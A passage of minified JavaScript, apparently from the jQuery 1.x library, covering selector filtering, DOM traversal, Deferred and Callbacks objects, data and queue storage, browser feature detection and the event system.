H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,ab.test(a)&&pb(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=jb(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),jb(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||kb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&jb(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||kb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),jb(function(a){return null==a.getAttribute("disabled")})||kb(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),gb}(a);m.find=s,m.expr=s.selectors,m.expr[":"]=m.expr.pseudos,m.unique=s.uniqueSort,m.text=s.getText,m.isXMLDoc=s.isXML,m.contains=s.contains;var t=m.expr.match.needsContext,u=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,v=/^.[^:#\[\.,]*$/;function w(a,b,c){if(m.isFunction(b))return m.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return m.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(v.test(b))return m.filter(b,a,c);b=m.filter(b,a)}return m.grep(a,function(a){return m.inArray(a,b)>=0!==c})}m.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?m.find.matchesSelector(d,a)?[d]:[]:m.find.matches(a,m.grep(b,function(a){return 1===a.nodeType}))},m.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(m(a).filter(function(){for(b=0;e>b;b++)if(m.contains(d[b],this))return!0}));for(b=0;e>b;b++)m.find(a,d[b],c);return c=this.pushStack(e>1?m.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(w(this,a||[],!1))},not:function(a){return this.pushStack(w(this,a||[],!0))},is:function(a){return!!w(this,"string"==typeof a&&t.test(a)?m(a):a||[],!1).length}});var x,y=a.document,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=m.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||x).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof m?b[0]:b,m.merge(this,m.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:y,!0)),u.test(c[1])&&m.isPlainObject(b))for(c in b)m.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}if(d=y.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2])return x.find(a);this.length=1,this[0]=d}return this.context=y,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):m.isFunction(a)?"undefined"!=typeof x.ready?x.ready(a):a(m):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),m.makeArray(a,this))};A.prototype=m.fn,x=m(y);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};m.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!m(e).is(c)))1===e.nodeType&&d.push(e),e=e[b];return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),m.fn.extend({has:function(a){var b,c=m(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(m.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=t.test(a)||"string"!=typeof a?m(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&m.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?m.unique(f):f)},index:function(a){return a?"string"==typeof a?m.inArray(this[0],m(a)):m.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(m.unique(m.merge(this.get(),m(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}m.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return m.dir(a,"parentNode")},parentsUntil:function(a,b,c){return m.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return m.dir(a,"nextSibling")},prevAll:function(a){return m.dir(a,"previousSibling")},nextUntil:function(a,b,c){return m.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return m.dir(a,"previousSibling",c)},siblings:function(a){return m.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return m.sibling(a.firstChild)},contents:function(a){return m.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:m.merge([],a.childNodes)}},function(a,b){m.fn[a]=function(c,d){var e=m.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=m.filter(d,e)),this.length>1&&(C[a]||(e=m.unique(e)),B.test(a)&&(e=e.reverse())),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return m.each(a.match(E)||[],function(a,c){b[c]=!0}),b}m.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):m.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++)if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){m.each(b,function(b,c){var d=m.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&m.each(arguments,function(a,c){var d;while((d=m.inArray(c,h,d))>-1)h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}),this},has:function(a){return a?m.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return!i},fireWith:function(a,c){return!h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!d}};return k},m.extend({Deferred:function(a){var b=[["resolve","done",m.Callbacks("once memory"),"resolved"],["reject","fail",m.Callbacks("once memory"),"rejected"],["notify","progress",m.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return m.Deferred(function(c){m.each(b,function(b,f){var g=m.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&m.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?m.extend(a,d):d}},e={};return d.pipe=d.then,m.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&m.isFunction(a.promise)?e:0,g=1===f?a:m.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&m.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;m.fn.ready=function(a){return m.ready.promise().done(a),this},m.extend({isReady:!1,readyWait:1,holdReady:function(a){a?m.readyWait++:m.ready(!0)},ready:function(a){if(a===!0?!--m.readyWait:!m.isReady){if(!y.body)return setTimeout(m.ready);m.isReady=!0,a!==!0&&--m.readyWait>0||(H.resolveWith(y,[m]),m.fn.triggerHandler&&(m(y).triggerHandler("ready"),m(y).off("ready")))}}});function I(){y.addEventListener?(y.removeEventListener("DOMContentLoaded",J,!1),a.removeEventListener("load",J,!1)):(y.detachEvent("onreadystatechange",J),a.detachEvent("onload",J))}function J(){(y.addEventListener||"load"===event.type||"complete"===y.readyState)&&(I(),m.ready())}m.ready.promise=function(b){if(!H)if(H=m.Deferred(),"complete"===y.readyState)setTimeout(m.ready);else if(y.addEventListener)y.addEventListener("DOMContentLoaded",J,!1),a.addEventListener("load",J,!1);else{y.attachEvent("onreadystatechange",J),a.attachEvent("onload",J);var c=!1;try{c=null==a.frameElement&&y.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!m.isReady){try{c.doScroll("left")}catch(a){return setTimeout(e,50)}I(),m.ready()}}()}return H.promise(b)};var K="undefined",L;for(L in m(k))break;k.ownLast="0"!==L,k.inlineBlockNeedsLayout=!1,m(function(){var a,b,c,d;c=y.getElementsByTagName("body")[0],c&&c.style&&(b=y.createElement("div"),d=y.createElement("div"),d.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(d).appendChild(b),typeof b.style.zoom!==K&&(b.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",k.inlineBlockNeedsLayout=a=3===b.offsetWidth,a&&(c.style.zoom=1)),c.removeChild(d))}),function(){var a=y.createElement("div");if(null==k.deleteExpando){k.deleteExpando=!0;try{delete a.test}catch(b){k.deleteExpando=!1}}a=null}(),m.acceptData=function(a){var b=m.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b};var M=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,N=/([A-Z])/g;function O(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(N,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:M.test(c)?m.parseJSON(c):c}catch(e){}m.data(a,b,c)}else c=void 0}return c}function P(a){var b;for(b in a)if(("data"!==b||!m.isEmptyObject(a[b]))&&"toJSON"!==b)return!1;
return!0}function Q(a,b,d,e){if(m.acceptData(a)){var f,g,h=m.expando,i=a.nodeType,j=i?m.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b)return k||(k=i?a[h]=c.pop()||m.guid++:h),j[k]||(j[k]=i?{}:{toJSON:m.noop}),("object"==typeof b||"function"==typeof b)&&(e?j[k]=m.extend(j[k],b):j[k].data=m.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[m.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[m.camelCase(b)])):f=g,f}}function R(a,b,c){if(m.acceptData(a)){var d,e,f=a.nodeType,g=f?m.cache:a,h=f?a[m.expando]:m.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){m.isArray(b)?b=b.concat(m.map(b,m.camelCase)):b in d?b=[b]:(b=m.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!P(d):!m.isEmptyObject(d))return}(c||(delete g[h].data,P(g[h])))&&(f?m.cleanData([a],!0):k.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}m.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?m.cache[a[m.expando]]:a[m.expando],!!a&&!P(a)},data:function(a,b,c){return Q(a,b,c)},removeData:function(a,b){return R(a,b)},_data:function(a,b,c){return Q(a,b,c,!0)},_removeData:function(a,b){return R(a,b,!0)}}),m.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=m.data(f),1===f.nodeType&&!m._data(f,"parsedAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=m.camelCase(d.slice(5)),O(f,d,e[d])));m._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){m.data(this,a)}):arguments.length>1?this.each(function(){m.data(this,a,b)}):f?O(f,a,m.data(f,a)):void 0},removeData:function(a){return this.each(function(){m.removeData(this,a)})}}),m.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=m._data(a,b),c&&(!d||m.isArray(c)?d=m._data(a,b,m.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=m.queue(a,b),d=c.length,e=c.shift(),f=m._queueHooks(a,b),g=function(){m.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return m._data(a,c)||m._data(a,c,{empty:m.Callbacks("once memory").add(function(){m._removeData(a,b+"queue"),m._removeData(a,c)})})}}),m.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?m.queue(this[0],a):void 0===b?this:this.each(function(){var c=m.queue(this,a,b);m._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&m.dequeue(this,a)})},dequeue:function(a){return this.each(function(){m.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=m.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=m._data(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var S=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,T=["Top","Right","Bottom","Left"],U=function(a,b){return a=b||a,"none"===m.css(a,"display")||!m.contains(a.ownerDocument,a)},V=m.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===m.type(c)){e=!0;for(h in c)m.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,m.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(m(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},W=/^(?:checkbox|radio)$/i;!function(){var a=y.createElement("input"),b=y.createElement("div"),c=y.createDocumentFragment();if(b.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",k.leadingWhitespace=3===b.firstChild.nodeType,k.tbody=!b.getElementsByTagName("tbody").length,k.htmlSerialize=!!b.getElementsByTagName("link").length,k.html5Clone="<:nav></:nav>"!==y.createElement("nav").cloneNode(!0).outerHTML,a.type="checkbox",a.checked=!0,c.appendChild(a),k.appendChecked=a.checked,b.innerHTML="<textarea>x</textarea>",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,c.appendChild(b),b.innerHTML="<input type='radio' checked='checked' name='t'/>",k.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,k.noCloneEvent=!0,b.attachEvent&&(b.attachEvent("onclick",function(){k.noCloneEvent=!1}),b.cloneNode(!0).click()),null==k.deleteExpando){k.deleteExpando=!0;try{delete b.test}catch(d){k.deleteExpando=!1}}}(),function(){var b,c,d=y.createElement("div");for(b in{submit:!0,change:!0,focusin:!0})c="on"+b,(k[b+"Bubbles"]=c in a)||(d.setAttribute(c,"t"),k[b+"Bubbles"]=d.attributes[c].expando===!1);d=null}();var X=/^(?:input|select|textarea)$/i,Y=/^key/,Z=/^(?:mouse|pointer|contextmenu)|click/,$=/^(?:focusinfocus|focusoutblur)$/,_=/^([^.]*)(?:\.(.+)|)$/;function ab(){return!0}function bb(){return!1}function cb(){try{return y.activeElement}catch(a){}}m.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,n,o,p,q,r=m._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=m.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof m===K||a&&m.event.triggered===a.type?void 0:m.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(E)||[""],h=b.length;while(h--)f=_.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=m.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=m.event.special[o]||{},l=m.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&m.expr.match.needsContext.test(e),namespace:p.join(".")},i),(n=g[o])||(n=g[o]=[],n.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?n.splice(n.delegateCount++,0,l):n.push(l),m.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,n,o,p,q,r=m.hasData(a)&&m._data(a);if(r&&(k=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=_.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=m.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,n=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=n.length;while(f--)g=n[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(n.splice(f,1),g.selector&&n.delegateCount--,l.remove&&l.remove.call(a,g));i&&!n.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||m.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)m.event.remove(a,o+b[j],c,d,!0);m.isEmptyObject(k)&&(delete r.handle,m._removeData(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,n,o=[d||y],p=j.call(b,"type")?b.type:b,q=j.call(b,"namespace")?b.namespace.split("."):[];if(h=l=d=d||y,3!==d.nodeType&&8!==d.nodeType&&!$.test(p+m.event.triggered)&&(p.indexOf(".")>=0&&(q=p.split("."),p=q.shift(),q.sort()),g=p.indexOf(":")<0&&"on"+p,b=b[m.expando]?b:new m.Event(p,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:m.makeArray(c,[b]),k=m.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!m.isWindow(d)){for(i=k.delegateType||p,$.test(i+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),l=h;l===(d.ownerDocument||y)&&o.push(l.defaultView||l.parentWindow||a)}n=0;while((h=o[n++])&&!b.isPropagationStopped())b.type=n>1?i:k.bindType||p,f=(m._data(h,"events")||{})[b.type]&&m._data(h,"handle"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&m.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault());if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&m.acceptData(d)&&g&&d[p]&&!m.isWindow(d)){l=d[g],l&&(d[g]=null),m.event.triggered=p;try{d[p]()}catch(r){}m.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=m.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(m._data(this,"events")||{})[a.type]||[],k=m.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=m.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((m.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(e=[],f=0;h>f;f++)d=b[f],c=d.selector+" ",void 0===e[c]&&(e[c]=d.needsContext?m(c,this).index(i)>=0:m.find(c,this,null,[i]).length),e[c]&&e.push(d);e.length&&g.push({elem:i,handlers:e})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},fix:function(a){if(a[m.expando])return a;var b,c,d,e=a.type,f=a,g=this.fixHooks[e];g||(this.fixHooks[e]=g=Z.test(e)?this.mouseHooks:Y.test(e)?this.keyHooks:{}),d=g.props?this.props.concat(g.props):this.props,a=new m.Event(f),b=d.length;while(b--)c=d[b],a[c]=f[c];return a.target||(a.target=f.srcElement||y),3===a.target.nodeType&&(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,g.filter?g.filter(a,f):a},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){return null==a.which&&(a.which=null!=b.charCode?b.charCode:b.keyCode),a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,b){var c,d,e,f=b.button,g=b.fromElement;return null==a.pageX&&null!=b.clientX&&(d=a.target.ownerDocument||y,e=d.documentElement,c=d.body,a.pageX=b.clientX+(e&&e.scrollLeft||c&&c.scrollLeft||0)-(e&&e.clientLeft||c&&c.clientLeft||0),a.pageY=b.clientY+(e&&e.scrollTop||c&&c.scrollTop||0)-(e&&e.clientTop||c&&c.clientTop||0)),!a.relatedTarget&&g&&(a.relatedTarget=g===a.target?b.toElement:g),a.which||void 0===f||(a.which=1&f?1:2&f?3:4&f?2:0),a}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==cb()&&this.focus)try{return this.focus(),!1}catch(a){}},delegateType:"focusin"},blur:{trigger:function(){return this===cb()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return m.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(a){return m.nodeName(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}},simulate:function(a,b,c,d){var e=m.extend(new m.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?m.event.trigger(e,null,b):m.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},m.removeEvent=y.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){var d="on"+b;a.detachEvent&&(typeof a[d]===K&&(a[d]=null),a.detachEvent(d,c))},m.Event=function(a,b){return this instanceof m.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?ab:bb):this.type=a,b&&m.extend(this,b),this.timeStamp=a&&a.timeStamp||m.now(),void(this[m.expando]=!0)):new m.Event(a,b)},m.Event.prototype={isDefaultPrevented:bb,isPropagationStopped:bb,isImmediatePropagationStopped:bb,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=ab,a&&(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=ab,a&&(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=ab,a&&a.stopImmediatePropagation&&a.stopImmediatePropagation(),this.stopPropagation()}},m.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){m.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return(!e||e!==d&&!m.contains(d,e))&&(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),k.submitBubbles||(m.event.special.submit={setup:function(){return m.nodeName(this,"form")?!1:void m.event.add(this,"click._submit keypress._submit",function(a){var b=a.target,c=m.nodeName(b,"input")||m.nodeName(b,"button")?b.form:void 0;c&&!m._data(c,"submitBubbles")&&(m.event.add(c,"submit._submit",function(a){a._submit_bubble=!0}),m._data(c,"submitBubbles",!0))})},postDispatch:function(a){a._submit_bubble&&(delete a._submit_bubble,this.parentNode&&!a.isTrigger&&m.event.simulate("submit",this.parentNode,a,!0))},teardown:function(){return m.nodeName(this,"form")?!1:void m.event.remove(this,"._submit")}}),k.changeBubbles||(m.event.special.change={setup:function(){return X.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(m.event.add(this,"propertychange._change",function(a){"checked"===a.originalEvent.propertyName&&(this._just_changed=!0)}),m.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1),m.event.simulate("change",this,a,!0)})),!1):void m.event.add(this,"beforeactivate._change",function(a){var b=a.target;X.test(b.nodeName)&&!m._data(b,"changeBubbles")&&(m.event.add(b,"change._change",function(a){!this.parentNode||a.isSimulated||a.isTrigger||m.event.simulate("change",this.parentNode,a,!0)}),m._data(b,"changeBubbles",!0))})},handle:function(a){var b=a.target;return this!==b||a.isSimulated||a.isTrigger||"radio"!==b.type&&"checkbox"!==b.type?a.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return m.event.remove(this,"._change"),!X.test(this.nodeName)}}),k.focusinBubbles||m.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){m.event.simulate(b,a.target,m.event.fix(a),!0)};m.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=m._data(d,b);e||d.addEventListener(a,c,!0),m._data(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=m._data(d,b)-1;e?m._data(d,b,e):(d.removeEventListener(a,c,!0),m._removeData(d,b))}}}),m.fn.extend({on:function(a,b,c,d,e){var f,g;if("object"==typeof a){"string"!=typeof b&&(c=c||b,b=void 0);for(f in a)this.on(f,b,c,a[f],e);return this}if(null==c&&null==d?(d=b,c=b=void 0):null==d&&("string"==typeof b?(d=c,c=void 0):(d=c,c=b,b=void 0)),d===!1)d=bb;else if(!d)return this;return 1===e&&(g=d,d=function(a){return m().off(a),g.apply(this,arguments)},d.guid=g.guid||(g.guid=m.guid++)),this.each(function(){m.event.add(this,a,d,c,b)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,m(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return(b===!1||"function"==typeof b)&&(c=b,b=void 0),c===!1&&(c=bb),this.each(function(){m.event.remove(this,a,c,b)})},trigger:function(a,b){return this.each(function(){m.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];return c?m.event.trigger(a,b,c,!0):void 0}});function db(a){var b=eb.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}var eb="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",fb=/ jQuery\d+="(?:null|\d+)"/g,gb=new RegExp("<(?:"+eb+")[\\s/>]","i"),hb=/^\s+/,ib=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,jb=/<([\w:]+)/,kb=/<tbody/i,lb=/<|&#?\w+;/,mb=/<(?:script|style|link)/i,nb=/checked\s*(?:[^=]|=\s*.checked.)/i,ob=/^$|\/(?:java|ecma)script/i,pb=/^true\/(.*)/,qb=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,rb={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:k.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},sb=db(y),tb=sb.appendChild(y.createElement("div"));rb.optgroup=rb.option,rb.tbody=rb.tfoot=rb.colgroup=rb.caption=rb.thead,rb.th=rb.td;function ub(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==K?a.getElementsByTagName(b||"*"):typeof 